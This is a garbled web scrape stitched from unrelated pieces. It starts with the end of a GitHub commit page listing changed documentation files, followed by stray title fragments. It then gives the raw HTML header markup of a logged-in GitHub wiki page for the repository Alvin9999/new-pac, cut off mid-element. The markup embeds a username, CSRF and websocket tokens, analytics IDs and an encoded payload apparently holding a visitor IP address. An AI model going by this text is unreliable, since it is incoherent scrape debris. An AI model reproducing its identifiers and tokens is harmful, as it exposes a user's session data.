...izations-and-teams/managing-updates-from-accounts-your-organization-sponsors.md 3 ...p-and-managing-organizations-and-teams/permission-levels-for-an-organization.md 14 ...ing-organizations-and-teams/repository-permission-levels-for-an-organization.md 86 ...naging-organizations-and-teams/reviewing-the-audit-log-for-your-organization.md 1 content/github/setting-up-and-managing-your-github-user-account/index.md 24 ...etting-up-and-managing-your-github-user-account/managing-your-theme-settings.md 12 content/github/site-policy/github-additional-product-terms.md 8 ...porting-the-open-source-community-with-github-sponsors/about-github-sponsors.md 17 ...community-with-github-sponsors/attributing-sponsorships-to-your-organization.md 28 ...e-open-source-community-with-github-sponsors/changing-your-sponsorship-tiers.md 22 ...th-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md 17 ...ting-the-open-source-community-with-github-sponsors/contacting-your-sponsors.md 25 ...munity-with-github-sponsors/editing-your-profile-details-for-github-sponsors.md 1 content/github/supporting-the-open-source-community-with-github-sponsors/index.md 12 ...ce-community-with-github-sponsors/managing-your-payouts-from-github-sponsors.md 18 ...he-open-source-community-with-github-sponsors/managing-your-sponsorship-goal.md 39 ...ing-the-open-source-community-with-github-sponsors/managing-your-sponsorship.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-organization.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-user-account.md 62 ...-source-community-with-github-sponsors/sponsoring-an-open-source-contributor.md 27 ...source-community-with-github-sponsors/viewing-your-sponsors-and-sponsorships.md 23 content/github/teaching-and-learning-with-github-education/index.md This file was deleted. 7 ...nt/github/visualizing-repository-data-with-graphs/about-the-dependency-graph.md 1 content/github/working-with-github-support/index.md 10 content/graphql/README.md 58 ...tting-started-with-github-container-registry/about-github-container-registry.md This file was deleted. 15 content/packages/getting-started-with-github-container-registry/index.md This file was deleted. 95 content/packages/guides/about-github-container-registry.md 2 ...ol-and-visibility-for-container-images.md → ...ol-and-visibility-for-container-images.md 5 ...che-maven-for-use-with-github-packages.md → ...che-maven-for-use-with-github-packages.md 1 ...ng-docker-for-use-with-github-packages.md → ...ng-docker-for-use-with-github-packages.md 1 ...otnet-cli-for-use-with-github-packages.md → ...otnet-cli-for-use-with-github-packages.md 1 ...ng-gradle-for-use-with-github-packages.md → ...ng-gradle-for-use-with-github-packages.md 1 ...uring-npm-for-use-with-github-packages.md → ...uring-npm-for-use-with-github-packages.md 1 ...-rubygems-for-use-with-github-packages.md → ...-rubygems-for-use-with-github-packages.md 2 ...ting-a-repository-to-a-container-image.md → ...ting-a-repository-to-a-container-image.md 10 content/packages/guides/container-guides-for-github-packages.md 2 ...er-registry/deleting-a-container-image.md → ...ages/guides/deleting-a-container-image.md 2 ...ry/enabling-improved-container-support.md → ...es/enabling-improved-container-support.md 33 content/packages/guides/index.md 2 ...b-container-registry-for-docker-images.md → ...b-container-registry-for-docker-images.md 10 content/packages/guides/package-client-guides-for-github-packages.md 2 ...stry/pushing-and-pulling-docker-images.md → ...ides/pushing-and-pulling-docker-images.md 1 ...ng-github-packages-with-github-actions.md → ...ng-github-packages-with-github-actions.md 46 content/packages/index.md 60 ...anaging-packages/about-github-packages.md → ...-github-packages/about-github-packages.md 13 ...concepts-for-github-container-registry.md → ...ages/core-concepts-for-github-packages.md 16 content/packages/learn-github-packages/index.md 1 ...managing-packages/publishing-a-package.md → ...n-github-packages/publishing-a-package.md 3 ...d-managing-packages/deleting-a-package.md → ...ges/manage-packages/deleting-a-package.md 8 ...publishing-and-managing-packages/index.md → content/packages/manage-packages/index.md 1 ...managing-packages/installing-a-package.md → ...s/manage-packages/installing-a-package.md 1 ...and-managing-packages/viewing-packages.md → ...kages/manage-packages/viewing-packages.md 11 content/packages/managing-container-images-with-github-container-registry/index.md This file was deleted. 109 content/packages/quickstart.md 20 content/packages/using-github-packages-with-your-projects-ecosystem/index.md This file was deleted. 10 content/rest/README.md 18 content/rest/overview/resources-in-the-rest-api.md 2 content/rest/overview/troubleshooting.md 10 content/rest/reference/enterprise-admin.md 2 data/products.yml 2 data/reusables/accounts/create-account.md 2 data/reusables/actions/actions-not-verified.md 7 data/reusables/actions/visualization-beta.md 5 data/reusables/audit_log/audit-log-api-info.md 1 data/reusables/audit_log/audit-log-git-events-retention.md 1 data/reusables/classroom/about-assignments.md 1 data/reusables/classroom/about-autograding.md 1 data/reusables/classroom/about-classrooms.md 1 data/reusables/classroom/about-online-ides.md 1 data/reusables/classroom/assignments-classroom-prerequisite.md 2 data/reusables/classroom/assignments-click-pencil.md 1 data/reusables/classroom/assignments-group-definition.md 5 data/reusables/classroom/assignments-guide-assign-a-deadline.md 5 data/reusables/classroom/assignments-guide-choose-an-online-ide.md 5 data/reusables/classroom/assignments-guide-choose-template-repository.md 9 data/reusables/classroom/assignments-guide-choose-visibility.md 7 data/reusables/classroom/assignments-guide-click-continue-after-basics.md 7 ...s/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md 5 data/reusables/classroom/assignments-guide-click-create-assignment-button.md 5 data/reusables/classroom/assignments-guide-create-review-pull-request.md 5 data/reusables/classroom/assignments-guide-create-the-assignment.md 1 data/reusables/classroom/assignments-guide-intro-for-environment.md 3 data/reusables/classroom/assignments-guide-invite-students-to-assignment.md 7 data/reusables/classroom/assignments-guide-prevent-changes.md 23 data/reusables/classroom/assignments-guide-using-autograding.md 1 data/reusables/classroom/assignments-individual-definition.md 1 data/reusables/classroom/assignments-to-prevent-submission.md 5 data/reusables/classroom/assignments-type-a-title.md 1 data/reusables/classroom/classroom-creates-group-repositories.md 1 data/reusables/classroom/classroom-creates-individual-repositories.md 1 data/reusables/classroom/classroom-enables-invitation-urls.md 2 data/reusables/classroom/click-assignment-in-list.md 2 data/reusables/classroom/click-classroom-in-list.md 2 data/reusables/classroom/click-settings.md 2 data/reusables/classroom/click-students.md 1 data/reusables/classroom/for-more-information-about-assignment-creation.md 6 data/reusables/classroom/guide-create-new-classroom.md 5 data/reusables/classroom/invitation-url-warning.md 1 data/reusables/classroom/readme-contains-button-for-online-ide.md 1 data/reusables/classroom/sign-into-github-classroom.md 1 data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md 1 data/reusables/classroom/you-can-choose-a-template-repository.md 1 data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md 1 data/reusables/classroom/you-may-want-to-predefine-repository-settings.md 1 data/reusables/discussions/about-categories-and-formats.md 1 data/reusables/discussions/about-discussions.md 5 data/reusables/discussions/beta.md 2 data/reusables/discussions/click-discussion-in-list.md 2 data/reusables/discussions/discussions-tab.md 2 data/reusables/discussions/edit-categories.md 1 data/reusables/discussions/edit-category-details.md 8 ...les/discussions/enabling-or-disabling-github-discussions-for-your-repository.md 1 data/reusables/discussions/github-recognizes-members.md 16 data/reusables/discussions/marking-a-comment-as-an-answer.md 1 data/reusables/discussions/repository-category-limit.md 10 data/reusables/discussions/starting-a-discussion.md 1 data/reusables/discussions/you-can-categorize-discussions.md 1 data/reusables/discussions/you-can-convert-an-issue.md 1 data/reusables/discussions/you-can-use-discussions.md 1 data/reusables/discussions/you-cannot-convert-a-discussion.md 2 data/reusables/education/about-github-education-link.md 2 data/reusables/education/apply-for-team.md 2 data/reusables/education/click-get-teacher-benefits.md 6 data/reusables/education/educator-requirements.md 1 data/reusables/gated-features/discussions.md 1 data/reusables/marketplace/app-transfer-to-org-for-verification.md 5 data/reusables/marketplace/free-plan-note.md 2 data/reusables/marketplace/launch-with-free.md 8 data/reusables/marketplace/marketplace-billing-ui-requirements.md 2 data/reusables/package_registry/billing-for-container-registry.md 2 data/reusables/package_registry/container-registry-beta-billing-note.md 2 data/reusables/package_registry/container-registry-beta.md 2 data/reusables/package_registry/docker_registry_deprecation_status.md 2 data/reusables/package_registry/feature-preview-for-container-registry.md 2 data/reusables/package_registry/required-scopes.md 2 data/reusables/package_registry/viewing-packages.md 3 data/reusables/repositories/dependency-review.md 7 data/reusables/repositories/navigate-to-job-superlinter.md 4 data/reusables/repositories/view-failed-job-results-superlinter.md 4 data/reusables/repositories/view-specific-line-superlinter.md 2 data/reusables/search/date_gt_lt.md 2 data/reusables/sponsors/billing-switcher.md 2 data/reusables/sponsors/change-tier.md 2 data/reusables/sponsors/choose-updates.md 2 data/reusables/sponsors/developer-sponsored-choose-updates.md This file was deleted. 4 data/reusables/sponsors/manage-developer-sponsorship.md This file was deleted. 4 data/reusables/sponsors/manage-org-sponsorship.md This file was deleted. 2 data/reusables/sponsors/manage-sponsorship.md 1 data/reusables/sponsors/manage-updates-for-orgs.md 2 data/reusables/sponsors/maximum-tier.md 4 data/reusables/sponsors/navigate-to-org-sponsors-dashboard.md This file was deleted. 2 ...onsors/navigate-to-sponsored-developer.md → ...sponsors/navigate-to-sponsored-account.md 1 data/reusables/sponsors/navigate-to-sponsored-org.md This file was deleted. 2 ...ors/navigate-to-dev-sponsors-dashboard.md → ...ponsors/navigate-to-sponsors-dashboard.md 2 data/reusables/sponsors/no-fees.md 5 data/reusables/sponsors/org-sponsors-release-phase.md 2 data/reusables/sponsors/pay-prorated-amount.md 2 data/reusables/sponsors/prorated-sponsorship.md 2 data/reusables/sponsors/sponsor-account.md 7 data/reusables/sponsors/sponsorship-dashboard.md 2 data/reusables/sponsors/sponsorship-details.md 1 data/reusables/webhooks/app_always_desc.md 3 data/ui.yml 7 data/variables/action_code_examples.yml 37 data/variables/discussions_community_examples.yml 6 data/variables/product.yml 21 includes/all-articles.html 4 includes/breadcrumbs.html 2 includes/code-example-card.html 14 includes/discussions-community-card.html 2 includes/header-notification.html 90 javascripts/filter-cards.js 92 javascripts/filter-code-examples.js This file was deleted. 4 javascripts/index.js 64 layouts/product-landing.html 68 lib/data-directory.js 28 lib/filename-to-key.js 7 lib/frontmatter.js 2 lib/liquid-tags/data.js 25 lib/page.js 54 lib/pages.js 21 lib/redirects/get-docs-path-from-developer-path.js 41 lib/redirects/precompile.js 231 lib/rest/static/decorated/api.github.com.json 495 lib/rest/static/dereferenced/api.github.com.deref.json 17 lib/rewrite-local-links.js 10 lib/site-data.js 24 lib/warm-server.js 5 middleware/breadcrumbs.js 38 middleware/categories-for-support-team.js 6 middleware/contextualizers/early-access-links.js 103 middleware/csp.js 69 middleware/early-access-breadcrumbs.js 1 middleware/index.js 45 package-lock.json 3 package.json 4 script/check-s3-images.js 4 script/early-access/clone-locally 41 script/early-access/create-branch 7 server.js 2 stylesheets/article.scss 4 tests/browser/browser.js 10 tests/content/category-pages.js 2 tests/content/crowdin-config.js 3 tests/content/featured-links.js 5 tests/content/glossary.js 42 tests/content/remove-liquid-statements.js 39 tests/content/site-data-references.js 4 tests/content/site-data.js 22 tests/fixtures/rest-redirects.json 10 tests/graphql/build-changelog-test.js 9 tests/helpers/conditional-runs.js 20 tests/meta/orphan-tests.js 23 tests/rendering/breadcrumbs.js 4 tests/rendering/rest.js 3 tests/rendering/server.js 47 tests/routing/developer-site-redirects.js 10 tests/routing/redirects.js 15 tests/unit/data-directory/filename-to-key.js 1 tests/unit/data-directory/fixtures/README.md 1 tests/unit/data-directory/fixtures/bar.yaml 1 tests/unit/data-directory/fixtures/foo.json 1 tests/unit/data-directory/fixtures/nested/baz.md 40 tests/unit/data-directory/index.js 19 tests/unit/early-access.js 4 tests/unit/find-page.js 57 tests/unit/liquid-helpers.js 140 tests/unit/page.js 2 tests/unit/pages.js 0 comments on commit 1a56ed1 Leave a comment You’re not receiving notifications from this thread. © 2021 GitHub, Inc. Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About
bedimcode
Input Animation With HTML & CSS | Style Google
jaityron
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars0.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars1.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars2.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars3.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link crossorigin="anonymous" media="all" integrity="sha512-RPWwIpqyjxv5EpuWKUKyeZeWz9QEzIbAWTiYOuxGieUq7+AMiZbsLeQMfEdyEIUoNjLagHK0BEm92BmXnvaH4Q==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-40c1c9d8ff06284fb441108e6559f019.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-3CnDMoFJPvbM39ryV5wc51yRo/6j6eQPt5SOlYaoBZhR9rVL/UZH3ME+wt72nsTlNFaSQ3nXT/0F4sxE1zbA6g==" rel="stylesheet" href="https://github.githubassets.com/assets/github-38162889e1878fa3b887aa360e70ab6c.css" /> <meta name="viewport" content="width=device-width"> <title>Home · Alvin9999/new-pac Wiki</title> <meta name="description" content="Contribute to Alvin9999/new-pac development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta property="og:image" content="https://avatars0.githubusercontent.com/u/12132898?s=400&v=4" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Alvin9999/new-pac" /><meta property="og:url" content="https://github.com/Alvin9999/new-pac" /><meta property="og:description" content="Contribute to Alvin9999/new-pac development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <link rel="web-socket" href="wss://live.github.com/_sockets/VjI6Mzc2MjMzNDkyOjM2ZmM1MjAzNDUwMjNhZGIxNmVjZTllOTI0YjY1YmQ0OWQyNmM4MzkzNWJhZTQzMDg5NzA0YjU3Y2E3NTNkMDE=--fa569a95af65bafbf0c16cb5eb8c194edc2045fb"> <meta name="pjax-timeout" content="1000"> <link rel="sudo-modal" href="/sessions/sudo_modal"> <meta name="request-id" content="818C:75AC:15C5D83:291B1C2:5C7218B8" data-pjax-transient> <meta name="selected-link" value="repo_wiki" data-pjax-transient> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-host" content="collector.githubapp.com" /><meta name="octolytics-app-id" content="github" /><meta name="octolytics-event-url" content="https://collector.githubapp.com/github-external/browser_event" /><meta name="octolytics-dimension-request_id" content="818C:75AC:15C5D83:291B1C2:5C7218B8" /><meta name="octolytics-dimension-region_edge" content="iad" /><meta name="octolytics-dimension-region_render" content="iad" /><meta name="octolytics-actor-id" content="47923458" /><meta name="octolytics-actor-login" content="p4g5" /><meta name="octolytics-actor-hash" content="6a95853374cece7bf113bc42df1cef3ad50e04d98978b001c78c593432aa2c78" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/wiki/index" data-pjax-transient="true" /> <meta name="google-analytics" content="UA-3769691-2"> <meta class="js-ga-set" name="userId" content="649868b7d8b42456fef3feb17a9d0a6b"> <meta class="js-ga-set" name="dimension1" content="Logged In"> <meta name="hostname" content="github.com"> <meta name="user-login" content="p4g5"> <meta name="expected-hostname" content="github.com"> <meta name="js-proxy-site-detection-payload" content="ODkzYzZhMWZkM2IyYWJmODcxMzc2NTQ0ODU3ODc5NzkyMThhNGU0YmYyODA3OTFiMGZhYmI0ZTdlZGI0MTEwMHx7InJlbW90ZV9hZGRyZXNzIjoiMTM4LjE5LjI0My4xMTAiLCJyZXF1ZXN0X2lkIjoiODE4Qzo3NUFDOjE1QzVEODM6MjkxQjFDMjo1QzcyMThCOCIsInRpbWVzdGFtcCI6MTU1MDk4MTMwOCwiaG9zdCI6ImdpdGh1Yi5jb20ifQ=="> <meta name="enabled-features" content="UNIVERSE_BANNER,MARKETPLACE_SOCIAL_PROOF,MARKETPLACE_PLAN_RESTRICTION_EDITOR,NOTIFY_ON_BLOCK,RELATED_ISSUES,MARKETPLACE_BROWSING_V2"> <meta name="html-safe-nonce" content="949564c0ba7317eace2a7bfddf1ecff165bf3dab"> <meta http-equiv="x-pjax-version" content="fe602614af4c1a740e12e3bc8fce8de2"> <link href="https://github.com/Alvin9999/new-pac/commits/master.atom" rel="alternate" title="Recent Commits to new-pac:master" type="application/atom+xml"> <meta name="go-import" content="github.com/Alvin9999/new-pac git https://github.com/Alvin9999/new-pac.git"> <meta name="octolytics-dimension-user_id" content="12132898" /><meta name="octolytics-dimension-user_login" content="Alvin9999" /><meta name="octolytics-dimension-repository_id" content="54544023" /><meta name="octolytics-dimension-repository_nwo" content="Alvin9999/new-pac" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="54544023" /><meta name="octolytics-dimension-repository_network_root_nwo" content="Alvin9999/new-pac" /><meta name="octolytics-dimension-repository_explore_github_marketplace_ci_cta_shown" content="false" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="icon" type="image/x-icon" class="js-site-favicon" href="https://github.githubassets.com/favicon.ico"> <meta name="theme-color" content="#1e2327"> <meta name="u2f-support" content="true"> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-in env-production page-responsive min-width-0"> <div class="position-relative js-header-wrapper "> <a href="#start-of-content" tabindex="1" class="p-3 bg-blue text-white show-on-focus js-skip-to-content">Skip to content</a> <div id="js-pjax-loader-bar" class="pjax-loader-bar"><div class="progress"></div></div> <header class="Header js-details-container Details f5" role="banner"> <div class="d-lg-flex p-responsive flex-justify-between px-3 "> <div class="d-flex flex-justify-between flex-items-center"> <div class="d-none d-lg-block"> <a class="header-logo-invertocat" href="https://github.com/" data-hotkey="g d" aria-label="Homepage" data-ga-click="Header, go to dashboard, icon:logo"> <svg height="32" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg> </a> </div> <button class="btn-link mt-1 js-details-target d-lg-none" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-three-bars notification-indicator" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M11.41 9H.59C0 9 0 8.59 0 8c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zm0-4H.59C0 5 0 4.59 0 4c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zM.59 11H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1H.59C0 13 0 12.59 0 12c0-.59 0-1 .59-1z"/></svg> </button> <div class="d-lg-none css-truncate css-truncate-target width-fit px-3"> <svg class="octicon octicon-repo" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <strong><a class="text-white" href="/Alvin9999">Alvin9999</a></strong> / <strong><a class="text-white" href="/Alvin9999/new-pac">new-pac</a></strong> </div> <div class="d-flex d-lg-none"> <div> <a aria-label="You have no unread notifications" class="notification-indicator tooltipped tooltipped-s my-2 my-lg-0 js-socket-channel js-notification-indicator" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-channel="notification-changed:47923458" href="/notifications"> <span class="mail-status "></span> <svg class="octicon octicon-bell" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 12v1H0v-1l.73-.58c.77-.77.81-2.55 1.19-4.42C2.69 3.23 6 2 6 2c0-.55.45-1 1-1s1 .45 1 1c0 0 3.39 1.23 4.16 5 .38 1.88.42 3.66 1.19 4.42l.66.58H14zm-7 4c1.11 0 2-.89 2-2H5c0 1.11.89 2 2 2z"/></svg> </a> </div> </div> </div> <div class="HeaderMenu d-lg-flex flex-justify-between flex-auto"> <nav class="d-lg-flex" aria-label="Global"> <div class="py-3 py-lg-0"> <div class="header-search scoped-search site-scoped-search js-site-search position-relative js-jump-to" role="combobox" aria-owns="jump-to-results" aria-label="Search or jump to" aria-haspopup="listbox" aria-expanded="false" > <div class="position-relative"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" data-scope-type="Repository" data-scope-id="54544023" data-scoped-search-url="/Alvin9999/new-pac/search" data-unscoped-search-url="/search" action="/Alvin9999/new-pac/search" accept-charset="UTF-8" method="get"><input name="utf8" type="hidden" value="✓" /> <label class="form-control header-search-wrapper header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center js-chromeless-input-container"> <input type="text" class="form-control header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey="s,/" name="q" value="" placeholder="Search or jump to…" data-unscoped-placeholder="Search or jump to…" data-scoped-placeholder="Search or jump to…" autocapitalize="off" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search or jump to…" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations#csrf-token=FL2zGu0JiDlR80w7nUfjCOv/O+4Wj2wn1yymqMaAwwfxcDNw3Pt5jHw/ZZaE73Bf5Xb6QLkfLjF8po7ehDrb8w==" spellcheck="false" autocomplete="off" > <input type="hidden" class="js-site-search-type-field" name="type" > <img src="https://github.githubassets.com/images/search-key-slash.svg" alt="" class="mr-2 header-search-key-slash"> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <ul class="d-none js-jump-to-suggestions-template-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href=""> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository"> In this repository </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> </ul> <ul class="d-none js-jump-to-no-results-template-container"> <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2"> <span class="text-gray">No suggested jump to results</span> </li> </ul> <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href=""> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository"> In this repository </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href=""> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 